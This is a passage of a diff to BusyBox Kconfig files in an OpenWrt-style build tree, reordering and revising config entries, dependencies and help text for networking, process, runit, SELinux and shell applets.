 	  This is useful if you are diagnosing a bug in tftp[d].
-
 config BUSYBOX_CONFIG_TRACEROUTE
 	bool "traceroute"
 	default BUSYBOX_DEFAULT_TRACEROUTE
@@ -1082,33 +946,24 @@ config BUSYBOX_CONFIG_TRACEROUTE
 config BUSYBOX_CONFIG_TRACEROUTE6
 	bool "traceroute6"
 	default BUSYBOX_DEFAULT_TRACEROUTE6
-	depends on BUSYBOX_CONFIG_FEATURE_IPV6 && BUSYBOX_CONFIG_TRACEROUTE
+	depends on BUSYBOX_CONFIG_FEATURE_IPV6
 	help
 	  Utility to trace the route of IPv6 packets.
 
 config BUSYBOX_CONFIG_FEATURE_TRACEROUTE_VERBOSE
 	bool "Enable verbose output"
 	default BUSYBOX_DEFAULT_FEATURE_TRACEROUTE_VERBOSE
-	depends on BUSYBOX_CONFIG_TRACEROUTE
+	depends on BUSYBOX_CONFIG_TRACEROUTE || BUSYBOX_CONFIG_TRACEROUTE6
 	help
 	  Add some verbosity to traceroute. This includes among other things
 	  hostnames and ICMP response types.
 
-config BUSYBOX_CONFIG_FEATURE_TRACEROUTE_SOURCE_ROUTE
-	bool "Enable loose source route"
-	default BUSYBOX_DEFAULT_FEATURE_TRACEROUTE_SOURCE_ROUTE
-	depends on BUSYBOX_CONFIG_TRACEROUTE
-	help
-	  Add option to specify a loose source route gateway
-	  (8 maximum).
-
 config BUSYBOX_CONFIG_FEATURE_TRACEROUTE_USE_ICMP
-	bool "Use ICMP instead of UDP"
+	bool "Enable -I option (use ICMP instead of UDP)"
 	default BUSYBOX_DEFAULT_FEATURE_TRACEROUTE_USE_ICMP
-	depends on BUSYBOX_CONFIG_TRACEROUTE
+	depends on BUSYBOX_CONFIG_TRACEROUTE || BUSYBOX_CONFIG_TRACEROUTE6
 	help
 	  Add option -I to use ICMP ECHO instead of UDP datagrams.
-
 config BUSYBOX_CONFIG_TUNCTL
 	bool "tunctl"
 	default BUSYBOX_DEFAULT_TUNCTL
@@ -1123,32 +978,101 @@ config BUSYBOX_CONFIG_FEATURE_TUNCTL_UG
 	help
 	  Allow to specify owner and group of newly created interface.
 	  340 bytes of pure bloat. Say no here.
+config BUSYBOX_CONFIG_VCONFIG
+	bool "vconfig"
+	default BUSYBOX_DEFAULT_VCONFIG
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Creates, removes, and configures VLAN interfaces
+config BUSYBOX_CONFIG_WGET
+	bool "wget"
+	default BUSYBOX_DEFAULT_WGET
+	help
+	  wget is a utility for non-interactive download of files from HTTP
+	  and FTP servers.
 
-source udhcp/Config.in
+config BUSYBOX_CONFIG_FEATURE_WGET_STATUSBAR
+	bool "Enable a nifty process meter (+2k)"
+	default BUSYBOX_DEFAULT_FEATURE_WGET_STATUSBAR
+	depends on BUSYBOX_CONFIG_WGET
+	help
+	  Enable the transfer progress bar for wget transfers.
 
-config BUSYBOX_CONFIG_IFUPDOWN_UDHCPC_CMD_OPTIONS
-	string "ifup udhcpc command line options"
-	default BUSYBOX_DEFAULT_IFUPDOWN_UDHCPC_CMD_OPTIONS
-	depends on BUSYBOX_CONFIG_IFUPDOWN && BUSYBOX_CONFIG_UDHCPC
+config BUSYBOX_CONFIG_FEATURE_WGET_AUTHENTICATION
+	bool "Enable HTTP authentication"
+	default BUSYBOX_DEFAULT_FEATURE_WGET_AUTHENTICATION
+	depends on BUSYBOX_CONFIG_WGET
 	help
-	  Command line options to pass to udhcpc from ifup.
-	  Intended to alter options not available in /etc/network/interfaces.
-	  (IE: --syslog --background etc...)
+	  Support authenticated HTTP transfers.
 
-config BUSYBOX_CONFIG_UDPSVD
-	bool "udpsvd"
-	default BUSYBOX_DEFAULT_UDPSVD
+config BUSYBOX_CONFIG_FEATURE_WGET_LONG_OPTIONS
+	bool "Enable long options"
+	default BUSYBOX_DEFAULT_FEATURE_WGET_LONG_OPTIONS
+	depends on BUSYBOX_CONFIG_WGET && BUSYBOX_CONFIG_LONG_OPTS
 	help
-	  udpsvd listens on an UDP port and runs a program for each new
-	  connection.
+	  Support long options for the wget applet.
 
-config BUSYBOX_CONFIG_VCONFIG
-	bool "vconfig"
-	default BUSYBOX_DEFAULT_VCONFIG
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
+config BUSYBOX_CONFIG_FEATURE_WGET_TIMEOUT
+	bool "Enable timeout option -T SEC"
+	default BUSYBOX_DEFAULT_FEATURE_WGET_TIMEOUT
+	depends on BUSYBOX_CONFIG_WGET
 	help
-	  Creates, removes, and configures VLAN interfaces
+	  Supports network read and connect timeouts for wget,
+	  so that wget will give up and timeout, through the -T
+	  command line option.
+
+	  Currently only connect and network data read timeout are
+	  supported (i.e., timeout is not applied to the DNS query). When
+	  FEATURE_WGET_LONG_OPTIONS is also enabled, the --timeout option
+	  will work in addition to -T.
+
+config BUSYBOX_CONFIG_FEATURE_WGET_OPENSSL
+	bool "Try to connect to HTTPS using openssl"
+	default BUSYBOX_DEFAULT_FEATURE_WGET_OPENSSL
+	depends on BUSYBOX_CONFIG_WGET
+	help
+	  Choose how wget establishes SSL connection for https:// URLs.
+
+	  Busybox itself contains no SSL code. wget will spawn
+	  a helper program to talk over HTTPS.
+
+	  OpenSSL has a simple SSL client for debug purposes.
+	  If you select "openssl" helper, wget will effectively run:
+	  "openssl s_client -quiet -connect hostname:443
+	  -servername hostname 2>/dev/null" and pipe its data
+	  through it. -servername is not used if hostname is numeric.
+	  Note inconvenient API: host resolution is done twice,
+	  and there is no guarantee openssl's idea of IPv6 address
+	  format is the same as ours.
+	  Another problem is that s_client prints debug information
+	  to stderr, and it needs to be suppressed. This means
+	  all error messages get suppressed too.
+	  openssl is also a big binary, often dynamically linked
+	  against ~15 libraries.
+
+config BUSYBOX_CONFIG_FEATURE_WGET_SSL_HELPER
+	bool "Try to connect to HTTPS using ssl_helper"
+	default BUSYBOX_DEFAULT_FEATURE_WGET_SSL_HELPER
+	depends on BUSYBOX_CONFIG_WGET
+	help
+	  Choose how wget establishes SSL connection for https:// URLs.
+
+	  Busybox itself contains no SSL code. wget will spawn
+	  a helper program to talk over HTTPS.
 
+	  ssl_helper is a tool which can be built statically
+	  from busybox sources against a small embedded SSL library.
+	  Please see networking/ssl_helper/README.
+	  It does not require double host resolution and emits
+	  error messages to stderr.
+
+	  Precompiled static binary may be available at
+	  http://busybox.net/downloads/binaries/
+config BUSYBOX_CONFIG_WHOIS
+	bool "whois"
+	default BUSYBOX_DEFAULT_WHOIS
+	help
+	  whois is a client for the whois directory service
 config BUSYBOX_CONFIG_ZCIP
 	bool "zcip"
 	default BUSYBOX_DEFAULT_ZCIP
@@ -1162,4 +1086,15 @@ config BUSYBOX_CONFIG_ZCIP
 	  See http://www.zeroconf.org for further details, and "zcip.script"
 	  in the busybox examples.
 
+source udhcp/Config.in
+
+config BUSYBOX_CONFIG_IFUPDOWN_UDHCPC_CMD_OPTIONS
+	string "ifup udhcpc command line options"
+	default BUSYBOX_DEFAULT_IFUPDOWN_UDHCPC_CMD_OPTIONS
+	depends on BUSYBOX_CONFIG_IFUPDOWN && BUSYBOX_CONFIG_UDHCPC
+	help
+	  Command line options to pass to udhcpc from ifup.
+	  Intended to alter options not available in /etc/network/interfaces.
+	  (IE: --syslog --background etc...)
+
 endmenu
diff --git a/package/utils/busybox/config/networking/udhcp/Config.in b/package/utils/busybox/config/networking/udhcp/Config.in
index 4f48400..cdba5d5 100644
--- a/package/utils/busybox/config/networking/udhcp/Config.in
+++ b/package/utils/busybox/config/networking/udhcp/Config.in
@@ -22,7 +22,6 @@ config BUSYBOX_CONFIG_UDHCPD
 config BUSYBOX_CONFIG_DHCPRELAY
 	bool "dhcprelay"
 	default BUSYBOX_DEFAULT_DHCPRELAY
-	depends on BUSYBOX_CONFIG_UDHCPD
 	help
 	  dhcprelay listens for dhcp requests on one or more interfaces
 	  and forwards these requests to a different interface or dhcp
@@ -31,7 +30,6 @@ config BUSYBOX_CONFIG_DHCPRELAY
 config BUSYBOX_CONFIG_DUMPLEASES
 	bool "Lease display utility (dumpleases)"
 	default BUSYBOX_DEFAULT_DUMPLEASES
-	depends on BUSYBOX_CONFIG_UDHCPD
 	help
 	  dumpleases displays the leases written out by the udhcpd server.
 	  Lease times are stored in the file by time remaining in lease, or
diff --git a/package/utils/busybox/config/procps/Config.in b/package/utils/busybox/config/procps/Config.in
index 6eafbda..6bc5ec0 100644
--- a/package/utils/busybox/config/procps/Config.in
+++ b/package/utils/busybox/config/procps/Config.in
@@ -6,122 +6,6 @@
 
 menu "Process Utilities"
 
-config BUSYBOX_CONFIG_IOSTAT
-	bool "iostat"
-	default BUSYBOX_DEFAULT_IOSTAT
-	help
-	  Report CPU and I/O statistics
-config BUSYBOX_CONFIG_LSOF
-	bool "lsof"
-	default BUSYBOX_DEFAULT_LSOF
-	help
-	  Show open files in the format of:
-	  PID <TAB> /path/to/executable <TAB> /path/to/opened/file
-config BUSYBOX_CONFIG_MPSTAT
-	bool "mpstat"
-	default BUSYBOX_DEFAULT_MPSTAT
-	help
-	  Per-processor statistics
-config BUSYBOX_CONFIG_NMETER
-	bool "nmeter"
-	default BUSYBOX_DEFAULT_NMETER
-	help
-	  Prints selected system stats continuously, one line per update.
-config BUSYBOX_CONFIG_PMAP
-       bool "pmap"
-       default BUSYBOX_DEFAULT_PMAP
-       help
-         Display processes' memory mappings.
-config BUSYBOX_CONFIG_POWERTOP
-	bool "powertop"
-	default BUSYBOX_DEFAULT_POWERTOP
-	help
-	  Analyze power consumption on Intel-based laptops
-config BUSYBOX_CONFIG_PSTREE
-	bool "pstree"
-	default BUSYBOX_DEFAULT_PSTREE
-	help
-	  Display a tree of processes.
-config BUSYBOX_CONFIG_PWDX
-	bool "pwdx"
-	default BUSYBOX_DEFAULT_PWDX
-	help
-	  Report current working directory of a process
-config BUSYBOX_CONFIG_SMEMCAP
-	bool "smemcap"
-	default BUSYBOX_DEFAULT_SMEMCAP
-	help
-	  smemcap is a tool for capturing process data for smem,
-	  a memory usage statistic tool.
-config BUSYBOX_CONFIG_TOP
-	bool "top"
-	default BUSYBOX_DEFAULT_TOP
-	help
-	  The top program provides a dynamic real-time view of a running
-	  system.
-
-config BUSYBOX_CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE
-	bool "Show CPU per-process usage percentage"
-	default BUSYBOX_DEFAULT_FEATURE_TOP_CPU_USAGE_PERCENTAGE
-	depends on BUSYBOX_CONFIG_TOP
-	help
-	  Make top display CPU usage for each process.
-	  This adds about 2k.
-
-config BUSYBOX_CONFIG_FEATURE_TOP_CPU_GLOBAL_PERCENTS
-	bool "Show CPU global usage percentage"
-	default BUSYBOX_DEFAULT_FEATURE_TOP_CPU_GLOBAL_PERCENTS
-	depends on BUSYBOX_CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE
-	help
-	  Makes top display "CPU: NN% usr NN% sys..." line.
-	  This adds about 0.5k.
-
-config BUSYBOX_CONFIG_FEATURE_TOP_SMP_CPU
-	bool "SMP CPU usage display ('c' key)"
-	default BUSYBOX_DEFAULT_FEATURE_TOP_SMP_CPU
-	depends on BUSYBOX_CONFIG_FEATURE_TOP_CPU_GLOBAL_PERCENTS
-	help
-	  Allow 'c' key to switch between individual/cumulative CPU stats
-	  This adds about 0.5k.
-
-config BUSYBOX_CONFIG_FEATURE_TOP_DECIMALS
-	bool "Show 1/10th of a percent in CPU/mem statistics"
-	default BUSYBOX_DEFAULT_FEATURE_TOP_DECIMALS
-	depends on BUSYBOX_CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE
-	help
-	  Show 1/10th of a percent in CPU/mem statistics.
-	  This adds about 0.3k.
-
-config BUSYBOX_CONFIG_FEATURE_TOP_SMP_PROCESS
-	bool "Show CPU process runs on ('j' field)"
-	default BUSYBOX_DEFAULT_FEATURE_TOP_SMP_PROCESS
-	depends on BUSYBOX_CONFIG_TOP
-	help
-	  Show CPU where process was last found running on.
-	  This is the 'j' field.
-
-config BUSYBOX_CONFIG_FEATURE_TOPMEM
-	bool "Topmem command ('s' key)"
-	default BUSYBOX_DEFAULT_FEATURE_TOPMEM
-	depends on BUSYBOX_CONFIG_TOP
-	help
-	  Enable 's' in top (gives lots of memory info).
-config BUSYBOX_CONFIG_UPTIME
-	bool "uptime"
-	default BUSYBOX_DEFAULT_UPTIME
-	select BUSYBOX_CONFIG_PLATFORM_LINUX #sysinfo()
-	help
-	  uptime gives a one line display of the current time, how long
-	  the system has been running, how many users are currently logged
-	  on, and the system load averages for the past 1, 5, and 15 minutes.
-
-config BUSYBOX_CONFIG_FEATURE_UPTIME_UTMP_SUPPORT
-	bool "Support for showing the number of users"
-	default BUSYBOX_DEFAULT_FEATURE_UPTIME_UTMP_SUPPORT
-	depends on BUSYBOX_CONFIG_UPTIME && BUSYBOX_CONFIG_FEATURE_UTMP
-	help
-	  Makes uptime display the number of users currently logged on.
-
 config BUSYBOX_CONFIG_FREE
 	bool "free"
 	default BUSYBOX_DEFAULT_FREE
@@ -130,7 +14,6 @@ config BUSYBOX_CONFIG_FREE
 	  free displays the total amount of free and used physical and swap
 	  memory in the system, as well as the buffers used by the kernel.
 	  The shared memory column should be ignored; it is obsolete.
-
 config BUSYBOX_CONFIG_FUSER
 	bool "fuser"
 	default BUSYBOX_DEFAULT_FUSER
@@ -138,7 +21,11 @@ config BUSYBOX_CONFIG_FUSER
 	  fuser lists all PIDs (Process IDs) that currently have a given
 	  file open. fuser can also list all PIDs that have a given network
 	  (TCP or UDP) port open.
-
+config BUSYBOX_CONFIG_IOSTAT
+	bool "iostat"
+	default BUSYBOX_DEFAULT_IOSTAT
+	help
+	  Report CPU and I/O statistics
 config BUSYBOX_CONFIG_KILL
 	bool "kill"
 	default BUSYBOX_DEFAULT_KILL
@@ -150,7 +37,6 @@ config BUSYBOX_CONFIG_KILL
 config BUSYBOX_CONFIG_KILLALL
 	bool "killall"
 	default BUSYBOX_DEFAULT_KILLALL
-	depends on BUSYBOX_CONFIG_KILL
 	help
 	  killall sends a signal to all processes running any of the
 	  specified commands. If no signal name is specified, SIGTERM is
@@ -159,14 +45,38 @@ config BUSYBOX_CONFIG_KILLALL
 config BUSYBOX_CONFIG_KILLALL5
 	bool "killall5"
 	default BUSYBOX_DEFAULT_KILLALL5
-	depends on BUSYBOX_CONFIG_KILL
-
+	help
+	  The SystemV killall command. killall5 sends a signal
+	  to all processes except kernel threads and the processes
+	  in its own session, so it won't kill the shell that is running
+	  the script it was called from.
+config BUSYBOX_CONFIG_LSOF
+	bool "lsof"
+	default BUSYBOX_DEFAULT_LSOF
+	help
+	  Show open files in the format of:
+	  PID <TAB> /path/to/executable <TAB> /path/to/opened/file
+config BUSYBOX_CONFIG_MPSTAT
+	bool "mpstat"
+	default BUSYBOX_DEFAULT_MPSTAT
+	help
+	  Per-processor statistics
+config BUSYBOX_CONFIG_NMETER
+	bool "nmeter"
+	default BUSYBOX_DEFAULT_NMETER
+	help
+	  Prints selected system stats continuously, one line per update.
 config BUSYBOX_CONFIG_PGREP
 	bool "pgrep"
 	default BUSYBOX_DEFAULT_PGREP
 	help
 	  Look for processes by name.
 
+config BUSYBOX_CONFIG_PKILL
+	bool "pkill"
+	default BUSYBOX_DEFAULT_PKILL
+	help
+	  Send signals to processes by name.
 config BUSYBOX_CONFIG_PIDOF
 	bool "pidof"
 	default BUSYBOX_DEFAULT_PIDOF
@@ -189,13 +99,16 @@ config BUSYBOX_CONFIG_FEATURE_PIDOF_OMIT
 	  Support argument '-o' for omitting the given pids in output.
 	  The special pid %PPID can be used to name the parent process
 	  of the pidof, in other words the calling shell or shell script.
-
-config BUSYBOX_CONFIG_PKILL
-	bool "pkill"
-	default BUSYBOX_DEFAULT_PKILL
+config BUSYBOX_CONFIG_PMAP
+       bool "pmap"
+       default BUSYBOX_DEFAULT_PMAP
+       help
+         Display processes' memory mappings.
+config BUSYBOX_CONFIG_POWERTOP
+	bool "powertop"
+	default BUSYBOX_DEFAULT_POWERTOP
 	help
-	  Send signals to processes by name.
-
+	  Analyze power consumption on Intel-based laptops
 config BUSYBOX_CONFIG_PS
 	bool "ps"
 	default BUSYBOX_DEFAULT_PS
@@ -241,28 +154,101 @@ config BUSYBOX_CONFIG_FEATURE_PS_UNUSUAL_SYSTEMS
 	help
 	  Include support for measuring HZ on old kernels and non-ELF systems
 	  (if you are on Linux 2.4.0+ and use ELF, you don't need this)
-
+config BUSYBOX_CONFIG_PSTREE
+	bool "pstree"
+	default BUSYBOX_DEFAULT_PSTREE
+	help
+	  Display a tree of processes.
+config BUSYBOX_CONFIG_PWDX
+	bool "pwdx"
+	default BUSYBOX_DEFAULT_PWDX
+	help
+	  Report current working directory of a process
 config BUSYBOX_CONFIG_RENICE
 	bool "renice"
 	default BUSYBOX_DEFAULT_RENICE
 	help
 	  Renice alters the scheduling priority of one or more running
 	  processes.
-
+config BUSYBOX_CONFIG_SMEMCAP
+	bool "smemcap"
+	default BUSYBOX_DEFAULT_SMEMCAP
+	help
+	  smemcap is a tool for capturing process data for smem,
+	  a memory usage statistic tool.
 config BUSYBOX_CONFIG_BB_SYSCTL
 	bool "sysctl"
 	default BUSYBOX_DEFAULT_BB_SYSCTL
 	help
 	  Configure kernel parameters at runtime.
+config BUSYBOX_CONFIG_TOP
+	bool "top"
+	default BUSYBOX_DEFAULT_TOP
+	help
+	  The top program provides a dynamic real-time view of a running
+	  system.
 
-config BUSYBOX_CONFIG_FEATURE_SHOW_THREADS
-	bool "Support for showing threads in ps/pstree/top"
-	default BUSYBOX_DEFAULT_FEATURE_SHOW_THREADS
-	depends on BUSYBOX_CONFIG_PS || BUSYBOX_CONFIG_TOP || BUSYBOX_CONFIG_PSTREE
+config BUSYBOX_CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE
+	bool "Show CPU per-process usage percentage"
+	default BUSYBOX_DEFAULT_FEATURE_TOP_CPU_USAGE_PERCENTAGE
+	depends on BUSYBOX_CONFIG_TOP
 	help
-	  Enables the ps -T option, showing of threads in pstree,
-	  and 'h' command in top.
+	  Make top display CPU usage for each process.
+	  This adds about 2k.
+
+config BUSYBOX_CONFIG_FEATURE_TOP_CPU_GLOBAL_PERCENTS
+	bool "Show CPU global usage percentage"
+	default BUSYBOX_DEFAULT_FEATURE_TOP_CPU_GLOBAL_PERCENTS
+	depends on BUSYBOX_CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE
+	help
+	  Makes top display "CPU: NN% usr NN% sys..." line.
+	  This adds about 0.5k.
+
+config BUSYBOX_CONFIG_FEATURE_TOP_SMP_CPU
+	bool "SMP CPU usage display ('c' key)"
+	default BUSYBOX_DEFAULT_FEATURE_TOP_SMP_CPU
+	depends on BUSYBOX_CONFIG_FEATURE_TOP_CPU_GLOBAL_PERCENTS
+	help
+	  Allow 'c' key to switch between individual/cumulative CPU stats
+	  This adds about 0.5k.
+
+config BUSYBOX_CONFIG_FEATURE_TOP_DECIMALS
+	bool "Show 1/10th of a percent in CPU/mem statistics"
+	default BUSYBOX_DEFAULT_FEATURE_TOP_DECIMALS
+	depends on BUSYBOX_CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE
+	help
+	  Show 1/10th of a percent in CPU/mem statistics.
+	  This adds about 0.3k.
+
+config BUSYBOX_CONFIG_FEATURE_TOP_SMP_PROCESS
+	bool "Show CPU process runs on ('j' field)"
+	default BUSYBOX_DEFAULT_FEATURE_TOP_SMP_PROCESS
+	depends on BUSYBOX_CONFIG_TOP
+	help
+	  Show CPU where process was last found running on.
+	  This is the 'j' field.
+
+config BUSYBOX_CONFIG_FEATURE_TOPMEM
+	bool "Topmem command ('s' key)"
+	default BUSYBOX_DEFAULT_FEATURE_TOPMEM
+	depends on BUSYBOX_CONFIG_TOP
+	help
+	  Enable 's' in top (gives lots of memory info).
+config BUSYBOX_CONFIG_UPTIME
+	bool "uptime"
+	default BUSYBOX_DEFAULT_UPTIME
+	select BUSYBOX_CONFIG_PLATFORM_LINUX #sysinfo()
+	help
+	  uptime gives a one line display of the current time, how long
+	  the system has been running, how many users are currently logged
+	  on, and the system load averages for the past 1, 5, and 15 minutes.
 
+config BUSYBOX_CONFIG_FEATURE_UPTIME_UTMP_SUPPORT
+	bool "Support for showing the number of users"
+	default BUSYBOX_DEFAULT_FEATURE_UPTIME_UTMP_SUPPORT
+	depends on BUSYBOX_CONFIG_UPTIME && BUSYBOX_CONFIG_FEATURE_UTMP
+	help
+	  Makes uptime display the number of users currently logged on.
 config BUSYBOX_CONFIG_WATCH
 	bool "watch"
 	default BUSYBOX_DEFAULT_WATCH
@@ -270,4 +256,12 @@ config BUSYBOX_CONFIG_WATCH
 	  watch is used to execute a program periodically, showing
 	  output to the screen.
 
+config BUSYBOX_CONFIG_FEATURE_SHOW_THREADS
+	bool "Support for showing threads in ps/pstree/top"
+	default BUSYBOX_DEFAULT_FEATURE_SHOW_THREADS
+	depends on BUSYBOX_CONFIG_PS || BUSYBOX_CONFIG_TOP || BUSYBOX_CONFIG_PSTREE
+	help
+	  Enables the ps -T option, showing of threads in pstree,
+	  and 'h' command in top.
+
 endmenu
diff --git a/package/utils/busybox/config/runit/Config.in b/package/utils/busybox/config/runit/Config.in
index a322a2c..8750b59 100644
--- a/package/utils/busybox/config/runit/Config.in
+++ b/package/utils/busybox/config/runit/Config.in
@@ -73,6 +73,13 @@ config BUSYBOX_CONFIG_SV_DEFAULT_SERVICE_DIR
 	help
 	  Default directory for services.
 	  Defaults to "/var/service"
+
+config BUSYBOX_CONFIG_SVC
+	bool "svc"
+	default BUSYBOX_DEFAULT_SVC
+	help
+	  svc controls the state of services monitored by the runsv supervisor.
+	  It is comaptible with daemontools command with the same name.
 config BUSYBOX_CONFIG_SVLOGD
 	bool "svlogd"
 	default BUSYBOX_DEFAULT_SVLOGD
diff --git a/package/utils/busybox/config/selinux/Config.in b/package/utils/busybox/config/selinux/Config.in
index 1d23f7d..1aac9f4 100644
--- a/package/utils/busybox/config/selinux/Config.in
+++ b/package/utils/busybox/config/selinux/Config.in
@@ -7,7 +7,6 @@
 menu "SELinux Utilities"
 	depends on BUSYBOX_CONFIG_SELINUX
 
-
 config BUSYBOX_CONFIG_CHCON
 	bool "chcon"
 	default BUSYBOX_DEFAULT_CHCON
@@ -21,28 +20,24 @@ config BUSYBOX_CONFIG_FEATURE_CHCON_LONG_OPTIONS
 	depends on BUSYBOX_CONFIG_CHCON && BUSYBOX_CONFIG_LONG_OPTS
 	help
 	  Support long options for the chcon applet.
-
 config BUSYBOX_CONFIG_GETENFORCE
 	bool "getenforce"
 	default BUSYBOX_DEFAULT_GETENFORCE
 	depends on BUSYBOX_CONFIG_SELINUX
 	help
 	  Enable support to get the current mode of SELinux.
-
 config BUSYBOX_CONFIG_GETSEBOOL
 	bool "getsebool"
 	default BUSYBOX_DEFAULT_GETSEBOOL
 	depends on BUSYBOX_CONFIG_SELINUX
 	help
 	  Enable support to get SELinux boolean values.
-
 config BUSYBOX_CONFIG_LOAD_POLICY
 	bool "load_policy"
 	default BUSYBOX_DEFAULT_LOAD_POLICY
 	depends on BUSYBOX_CONFIG_SELINUX
 	help
 	  Enable support to load SELinux policy.
-
 config BUSYBOX_CONFIG_MATCHPATHCON
 	bool "matchpathcon"
 	default BUSYBOX_DEFAULT_MATCHPATHCON
@@ -50,15 +45,6 @@ config BUSYBOX_CONFIG_MATCHPATHCON
 	help
 	  Enable support to get default security context of the
 	  specified path from the file contexts configuration.
-
-config BUSYBOX_CONFIG_RESTORECON
-	bool "restorecon"
-	default BUSYBOX_DEFAULT_RESTORECON
-	depends on BUSYBOX_CONFIG_SELINUX
-	help
-	  Enable support to relabel files. The feature is almost
-	  the same as setfiles, but usage is a little different.
-
 config BUSYBOX_CONFIG_RUNCON
 	bool "runcon"
 	default BUSYBOX_DEFAULT_RUNCON
@@ -72,7 +58,6 @@ config BUSYBOX_CONFIG_FEATURE_RUNCON_LONG_OPTIONS
 	depends on BUSYBOX_CONFIG_RUNCON && BUSYBOX_CONFIG_LONG_OPTS
 	help
 	  Support long options for the runcon applet.
-
 config BUSYBOX_CONFIG_SELINUXENABLED
 	bool "selinuxenabled"
 	default BUSYBOX_DEFAULT_SELINUXENABLED
@@ -80,14 +65,18 @@ config BUSYBOX_CONFIG_SELINUXENABLED
 	help
 	  Enable support for this command to be used within shell scripts
 	  to determine if selinux is enabled.
-
+config BUSYBOX_CONFIG_SESTATUS
+	bool "sestatus"
+	default BUSYBOX_DEFAULT_SESTATUS
+	depends on BUSYBOX_CONFIG_SELINUX
+	help
+	  Displays the status of SELinux.
 config BUSYBOX_CONFIG_SETENFORCE
 	bool "setenforce"
 	default BUSYBOX_DEFAULT_SETENFORCE
 	depends on BUSYBOX_CONFIG_SELINUX
 	help
 	  Enable support to modify the mode SELinux is running in.
-
 config BUSYBOX_CONFIG_SETFILES
 	bool "setfiles"
 	default BUSYBOX_DEFAULT_SETFILES
@@ -106,6 +95,13 @@ config BUSYBOX_CONFIG_FEATURE_SETFILES_CHECK_OPTION
 	  Support "-c" option (check the validity of the contexts against
 	  the specified binary policy) for setfiles. Requires libsepol.
 
+config BUSYBOX_CONFIG_RESTORECON
+	bool "restorecon"
+	default BUSYBOX_DEFAULT_RESTORECON
+	depends on BUSYBOX_CONFIG_SELINUX
+	help
+	  Enable support to relabel files. The feature is almost
+	  the same as setfiles, but usage is a little different.
 config BUSYBOX_CONFIG_SETSEBOOL
 	bool "setsebool"
 	default BUSYBOX_DEFAULT_SETSEBOOL
@@ -114,11 +110,4 @@ config BUSYBOX_CONFIG_SETSEBOOL
 	  Enable support for change boolean.
 	  semanage and -P option is not supported yet.
 
-config BUSYBOX_CONFIG_SESTATUS
-	bool "sestatus"
-	default BUSYBOX_DEFAULT_SESTATUS
-	depends on BUSYBOX_CONFIG_SELINUX
-	help
-	  Displays the status of SELinux.
-
 endmenu
diff --git a/package/utils/busybox/config/shell/Config.in b/package/utils/busybox/config/shell/Config.in
index 69ecf14..4193c18 100644
--- a/package/utils/busybox/config/shell/Config.in
+++ b/package/utils/busybox/config/shell/Config.in
@@ -6,6 +6,57 @@
 
 menu "Shells"
 
+
+choice
+	prompt "Choose which shell is aliased to 'sh' name"
+	default BUSYBOX_CONFIG_SH_IS_ASH
+	help
+	  Choose which shell you want to be executed by 'sh' alias.
+	  The ash shell is the most bash compatible and full featured one.
+
+# note: cannot use "select ASH" here, it breaks "make allnoconfig"
+config BUSYBOX_CONFIG_SH_IS_ASH
+	depends on !BUSYBOX_CONFIG_NOMMU
+	bool "ash"
+
+config BUSYBOX_CONFIG_SH_IS_HUSH
+	bool "hush"
+
+config BUSYBOX_CONFIG_SH_IS_NONE
+	bool "none"
+
+endchoice
+
+choice
+	prompt "Choose which shell is aliased to 'bash' name"
+	default BUSYBOX_CONFIG_BASH_IS_NONE
+	help
+	  Choose which shell you want to be executed by 'bash' alias.
+	  The ash shell is the most bash compatible and full featured one.
+
+	  Note that selecting this option does not switch on any bash
+	  compatibility code. It merely makes it possible to install
+	  /bin/bash (sym)link and run scripts which start with
+	  #!/bin/bash line.
+
+	  Many systems use it in scripts which use bash-specific features,
+	  even simple ones like $RANDOM. Without this option, busybox
+	  can't be used for running them because it won't recongnize
+	  "bash" as a supported applet name.
+
+config BUSYBOX_CONFIG_BASH_IS_ASH
+	depends on !BUSYBOX_CONFIG_NOMMU
+	bool "ash"
+
+config BUSYBOX_CONFIG_BASH_IS_HUSH
+	bool "hush"
+
+config BUSYBOX_CONFIG_BASH_IS_NONE
+	bool "none"
+
+endchoice
+
+
 config BUSYBOX_CONFIG_ASH
 	bool "ash"
 	default BUSYBOX_DEFAULT_ASH
@@ -17,73 +68,109 @@ config BUSYBOX_CONFIG_ASH
 	  shell (by Herbert Xu), which was created by porting the 'ash' shell
 	  (written by Kenneth Almquist) from NetBSD.
 
+config BUSYBOX_CONFIG_ASH_OPTIMIZE_FOR_SIZE
+	bool "Optimize for size instead of speed"
+	default BUSYBOX_DEFAULT_ASH_OPTIMIZE_FOR_SIZE
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
+	help
+	  Compile ash for reduced size at the price of speed.
+
+config BUSYBOX_CONFIG_ASH_INTERNAL_GLOB
+	bool "Use internal glob() implementation"
+	default BUSYBOX_DEFAULT_ASH_INTERNAL_GLOB	# Y is bigger, but because of uclibc glob() bug, let Y be default for now
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
+	help
+	  Do not use glob() function from libc, use internal implementation.
+	  Use this if you are getting "glob.h: No such file or directory"
+	  or similar build errors.
+
+config BUSYBOX_CONFIG_ASH_RANDOM_SUPPORT
+	bool "Pseudorandom generator and $RANDOM variable"
+	default BUSYBOX_DEFAULT_ASH_RANDOM_SUPPORT
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
+	help
+	  Enable pseudorandom generator and dynamic variable "$RANDOM".
+	  Each read of "$RANDOM" will generate a new pseudorandom value.
+	  You can reset the generator by using a specified start value.
+	  After "unset RANDOM" the generator will switch off and this
+	  variable will no longer have special treatment.
+
+config BUSYBOX_CONFIG_ASH_EXPAND_PRMT
+	bool "Expand prompt string"
+	default BUSYBOX_DEFAULT_ASH_EXPAND_PRMT
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
+	help
+	  "PS#" may contain volatile content, such as backquote commands.
+	  This option recreates the prompt string from the environment
+	  variable each time it is displayed.
+
 config BUSYBOX_CONFIG_ASH_BASH_COMPAT
